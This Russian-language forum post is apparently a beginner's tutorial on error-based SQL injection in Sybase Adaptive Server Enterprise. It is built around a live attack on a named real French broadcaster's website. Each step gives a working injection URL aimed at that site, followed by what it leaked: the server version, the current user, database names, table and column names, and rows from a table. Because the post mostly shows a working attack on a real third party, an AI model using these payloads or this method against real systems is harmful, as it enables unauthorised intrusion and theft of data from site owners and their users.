Хм, чето только мускул один, есть же и другие: Postgre, Mssql, Sybase и т.д. осбенно мало на форумах постят про Sybase...
вобщем Sybase использует Transact-SQL, как например MS Access и MSSQL но они отличаются немного, вот пример:
Получаем данные через вывод сообщения об ошибке приведения типов.
версия:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(@@version))--
Adaptive Server Enterprise/12.5.0.3/EBF 11450 ESD#4/P/Linux Intel/Linux 2.4.18-18.7.xsmp i686/rel12503/1940/32-bit/OPT/Sun Sep 21 03:10:00 2003
текущий пользователь:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(user_name()))--
имена бд:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins))--
следующее имя бд:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x73796273797374656D6462)))--
здесь 0x73796273797374656D6462=hex('sybsystemdb')
следующее имя:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x726670726F64,0x73796273797374656D6462)))--
0x726670726F64=hex('rfprod') и т.д.
узнаем таблицы в бд rfprod (в других по аналогии):
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(name||0x3a||convert(char,id))+from+rfprod..sysobjects+where+type=0x55))--
wifi_reactions:1785877529
тут надо пояснить, || -знак конкатенации (объединения) в sybase, convert(char,id) нужен для того, что бы привести числовое поле id (очень нужное) к символьному типу, иначе возникнет ошибка несоответствия типов, from+rfprod..sysobjects означает то, что мы выбираем значения из системной таблицы sysobjects базы данных rfprod, в этой таблице хранятся записи об объектах этой бд, но нам нужны не все объекты, а только пользовательские таблицы, они имеют тип U, hex('U')=0x55 (where+type=0x55) надеюсь с этим все понятно
узнаем имя следующей таблицы:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(name||0x3a||convert(char,id))+from+rfprod..sysobjects+where+type=0x55+and+id+not+in+(1785877529)))--
wifi_inscriptions:1753877415
поясню, т.к. id уникально, для перебора удобнее использовать именно его
узнаем поля таблицы wifi_reactions (id=1785877529) (другие таблицы по аналогии):
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(name||0x3a||convert(char,colid))+from+rfprod..syscolumns+where+id=1785877529))--
Тут тоже нужно пояснить: colid - это идентификационный номер поля, он не несет смысловой нагрузги, но его удобно использовать при переборе, from+rfprod..syscolumns означает то, что мы выбираем значения из системной таблицы syscolumns базы данных rfprod, в этой таблице хранятся записи об колонках этой бд! (а не только одной таблицы), where+id=1785877529 - указывает колонки какой таблицы выбирать, я ранее говорил, что id таблицы очень важное для нас значение, так вот определение того, к какой таблице принадлежит имя поля, происходит именно по id таблицы и только по id
узнаем имя следующего поля:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(name||0x3a||convert(char,colid))+from+rfprod..syscolumns+where+id=1785877529+and+colid+not+in+(4)))--
и т.д
получаем данные из таблицы wifi_reactions:
Код:
http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(convert(varchar,reactions)||0x3a||ville)+from+rfprod..wifi_reactions))--
utilisateur du wifi depuis ces:grenoble
что это такое, фиг его знает, но нам важны не данные, а принцип получения данных, convert(varchar,reactions) - нужен для того, что бы привести данные из поля reactions, которое имеет тип VARBINARY, к типу varchar для совместимости, если этого не сделать, появится ошибка несовместимости типов
Ну вроде пока все, так вот из обычного поста получилась небольшая статейка для новичков, об SQL-inj в SYBASE Adaptive Server Enterprise
ЗЫ в ASE жесткое разграничение прав пользователей, для пользователя может быть ограничен доступ не только к БД и таблице БД, но также и к отдельному полю таблицы